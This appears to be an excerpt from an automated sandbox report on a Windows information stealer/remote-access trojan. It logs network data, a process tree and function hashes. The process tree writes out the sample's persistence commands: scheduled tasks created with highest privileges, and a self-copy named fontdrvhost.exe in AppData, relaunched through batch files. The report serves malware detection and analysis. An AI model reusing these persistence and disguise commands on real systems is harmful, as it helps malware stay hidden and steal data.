20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Mar 29, 2024 07:38:55.293150902 CET	344	OUT	Data Raw: 00 03 01 00 06 0f 01 0b 05 06 02 01 02 06 01 00 00 07 05 0a 02 02 03 0a 01 06 0d 0d 06 04 02 09 0e 02 06 5c 00 03 03 06 0c 06 02 02 07 05 07 56 04 50 0f 0a 0f 07 04 05 04 01 07 0c 07 00 05 5a 00 56 0d 5a 00 03 06 53 0d 03 0b 03 0e 0d 0e 53 05 0c Data Ascii: \VPZVZSSZQ\L}T~`zc[iulAk\|etBth]holZ^{^b}sUcY^~e~V@BxCfO~\y

Target ID:	0
Start time:	07:36:51
Start date:	29/03/2024
Path:	C:\Users\user\Desktop\ZT3pxe2Tb4.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\ZT3pxe2Tb4.exe"
Imagebase:	0x9e0000
File size:	3'672'576 bytes
MD5 hash:	4164D5955C244FF266C1CC41013FE21A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000000.1606720859.00000000009E2000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000000.00000002.1651517514.0000000013466000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	07:36:54
Start date:	29/03/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 10 /tr "'C:\Users\user\AppData\Local\fontdrvhost.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	07:36:54
Start date:	29/03/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Users\user\AppData\Local\fontdrvhost.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	07:36:55
Start date:	29/03/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 8 /tr "'C:\Users\user\AppData\Local\fontdrvhost.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:36:55
Start date:	29/03/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\e2HUAivGfO.bat"
Imagebase:	0x7ff6f6770000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	07:36:55
Start date:	29/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	07:36:55
Start date:	29/03/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff6a54a0000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	07:36:55
Start date:	29/03/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	ping -n 10 localhost
Imagebase:	0x7ff690150000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	07:36:56
Start date:	29/03/2024
Path:	C:\Users\user\AppData\Local\fontdrvhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\fontdrvhost.exe
Imagebase:	0x260000
File size:	3'672'576 bytes
MD5 hash:	4164D5955C244FF266C1CC41013FE21A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Users\user\AppData\Local\fontdrvhost.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\fontdrvhost.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 87%, ReversingLabs Detection: 73%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	07:36:56
Start date:	29/03/2024
Path:	C:\Users\user\AppData\Local\fontdrvhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\fontdrvhost.exe
Imagebase:	0x8f0000
File size:	3'672'576 bytes
MD5 hash:	4164D5955C244FF266C1CC41013FE21A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	07:37:00
Start date:	29/03/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\wuC6fcDv5B.bat"
Imagebase:	0x7ff6f6770000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	07:37:00
Start date:	29/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	07:37:01
Start date:	29/03/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff6a54a0000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	07:37:01
Start date:	29/03/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	ping -n 10 localhost
Imagebase:	0x7ff690150000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	07:37:04
Start date:	29/03/2024
Path:	C:\Users\user\AppData\Local\fontdrvhost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\fontdrvhost.exe"
Imagebase:	0xcc0000
File size:	3'672'576 bytes
MD5 hash:	4164D5955C244FF266C1CC41013FE21A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	07:37:10
Start date:	29/03/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\6WkFIbRMFr.bat"
Imagebase:	0x7ff6f6770000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	07:37:10
Start date:	29/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	07:37:10
Start date:	29/03/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff6a54a0000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	07:37:10
Start date:	29/03/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	ping -n 10 localhost
Imagebase:	0x7ff690150000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	07:37:12
Start date:	29/03/2024
Path:	C:\Users\user\AppData\Local\fontdrvhost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\fontdrvhost.exe"
Imagebase:	0x910000
File size:	3'672'576 bytes
MD5 hash:	4164D5955C244FF266C1CC41013FE21A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	07:37:18
Start date:	29/03/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\OwDUg2gYJx.bat"
Imagebase:	0x7ff6f6770000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	07:37:18
Start date:	29/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	07:37:18
Start date:	29/03/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff6a54a0000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	07:37:18
Start date:	29/03/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	ping -n 10 localhost
Imagebase:	0x7ff690150000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	07:37:19
Start date:	29/03/2024
Path:	C:\Users\user\AppData\Local\fontdrvhost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\fontdrvhost.exe"
Imagebase:	0x370000
File size:	3'672'576 bytes
MD5 hash:	4164D5955C244FF266C1CC41013FE21A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	07:37:22
Start date:	29/03/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\s2nU7uS06N.bat"
Imagebase:	0x7ff6f6770000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	07:37:22
Start date:	29/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	07:37:23
Start date:	29/03/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff6a54a0000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	07:37:23
Start date:	29/03/2024
Path:	C:\Windows\System32\w32tm.exe
Wow64 process (32bit):	false
Commandline:	w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Imagebase:	0x7ff703d60000
File size:	108'032 bytes
MD5 hash:	81A82132737224D324A3E8DA993E2FB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	07:37:28
Start date:	29/03/2024
Path:	C:\Users\user\AppData\Local\fontdrvhost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\fontdrvhost.exe"
Imagebase:	0x6c0000
File size:	3'672'576 bytes
MD5 hash:	4164D5955C244FF266C1CC41013FE21A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	07:37:30
Start date:	29/03/2024
Path:	C:\Users\user\AppData\Local\fontdrvhost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\fontdrvhost.exe"
Imagebase:	0x5e0000
File size:	3'672'576 bytes
MD5 hash:	4164D5955C244FF266C1CC41013FE21A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	07:37:31
Start date:	29/03/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\ZMh4UPVO0I.bat"
Imagebase:	0x7ff6f6770000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	07:37:31
Start date:	29/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	07:37:31
Start date:	29/03/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff6a54a0000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	07:37:31
Start date:	29/03/2024
Path:	C:\Windows\System32\w32tm.exe
Wow64 process (32bit):	false
Commandline:	w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Imagebase:	0x7ff703d60000
File size:	108'032 bytes
MD5 hash:	81A82132737224D324A3E8DA993E2FB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	07:37:36
Start date:	29/03/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\I3W1TCNLwG.bat"
Imagebase:	0x7ff6f6770000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	07:37:37
Start date:	29/03/2024
Path:	C:\Users\user\AppData\Local\fontdrvhost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\fontdrvhost.exe"
Imagebase:	0x7ff72bec0000
File size:	3'672'576 bytes
MD5 hash:	4164D5955C244FF266C1CC41013FE21A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	07:37:37
Start date:	29/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	07:37:38
Start date:	29/03/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff6a54a0000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	07:37:38
Start date:	29/03/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	ping -n 10 localhost
Imagebase:	0x7ff690150000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	07:37:40
Start date:	29/03/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\7nxekELsf0.bat"
Imagebase:	0x7ff6f6770000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	07:37:40
Start date:	29/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	07:37:41
Start date:	29/03/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff6a54a0000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	07:37:41
Start date:	29/03/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	ping -n 10 localhost
Imagebase:	0x7ff690150000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	07:37:48
Start date:	29/03/2024
Path:	C:\Users\user\AppData\Local\fontdrvhost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\fontdrvhost.exe"
Imagebase:	0x7b0000
File size:	3'672'576 bytes
MD5 hash:	4164D5955C244FF266C1CC41013FE21A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	07:37:50
Start date:	29/03/2024
Path:	C:\Users\user\AppData\Local\fontdrvhost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\fontdrvhost.exe"
Imagebase:	0x80000
File size:	3'672'576 bytes
MD5 hash:	4164D5955C244FF266C1CC41013FE21A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	07:37:54
Start date:	29/03/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\Gu3WPocxsu.bat"
Imagebase:	0x7ff6f6770000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	07:37:54
Start date:	29/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	07:37:54
Start date:	29/03/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff6a54a0000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	07:37:54
Start date:	29/03/2024
Path:	C:\Windows\System32\w32tm.exe
Wow64 process (32bit):	false
Commandline:	w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Imagebase:	0x7ff703d60000
File size:	108'032 bytes
MD5 hash:	81A82132737224D324A3E8DA993E2FB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	07:38:00
Start date:	29/03/2024
Path:	C:\Users\user\AppData\Local\fontdrvhost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\fontdrvhost.exe"
Imagebase:	0xb0000
File size:	3'672'576 bytes
MD5 hash:	4164D5955C244FF266C1CC41013FE21A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	07:38:02
Start date:	29/03/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\3IMqqsTTOd.bat"
Imagebase:	0x7ff6f6770000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	07:38:02
Start date:	29/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.6%
Dynamic/Decrypted Code Coverage:	83.3%
Signature Coverage:	0%
Total number of Nodes:	12
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD9C0F78B0 Relevance: .9, Instructions: 878
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1682547207.00007FFD9C0F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9c0f0000_ZT3pxe2Tb4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b508982368c642eba7219bac35a4a6b2707dd408da351533068f4af504ad912
Instruction ID: 0c2909b1b9351cf4c2862ec59c4c835431c26d608a4f9efc6fcc317cd9cccb25
Opcode Fuzzy Hash: 1b508982368c642eba7219bac35a4a6b2707dd408da351533068f4af504ad912
Instruction Fuzzy Hash: 3352D530B0864A8FDBA8DB5CC865AB977F1FF55354F1401B9D04EC7292DB25AC86CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA10DA8 Relevance: .3, Instructions: 300
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1671529877.00007FFD9BA10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9ba10000_ZT3pxe2Tb4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: babceeee4b7a431c33a8d3800ee17318d55c02df3cdbb03e56458236d682ef66
Instruction ID: 98b2f5ef3adab451bc302d28e23194742963f959d2c21011d2e37c9c6ba83c28
Opcode Fuzzy Hash: babceeee4b7a431c33a8d3800ee17318d55c02df3cdbb03e56458236d682ef66
Instruction Fuzzy Hash: B2A1E175A0DA8D8FE7A4DB68C865BA97FE1FF55710F0401BAD049D72EACA792801CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA10B47 Relevance: 2.6, Strings: 2, Instructions: 73
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

!k9, xrefs: 00007FFD9BA10B4E
c9, xrefs: 00007FFD9BA10B56

Memory Dump Source

Source File: 00000000.00000002.1671529877.00007FFD9BA10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9ba10000_ZT3pxe2Tb4.jbxd

Similarity

API ID:
String ID: c9$!k9
API String ID: 0-3254877420
Opcode ID: 22350f7d061806a2cc0dd3210212b5e1ff18dbde5dfcc961335287d38e3abbf8
Instruction ID: b8f4c3c407a6d67f423d99870eb1bb2d3fc0ad67ddfee361f68374defe479e95
Opcode Fuzzy Hash: 22350f7d061806a2cc0dd3210212b5e1ff18dbde5dfcc961335287d38e3abbf8
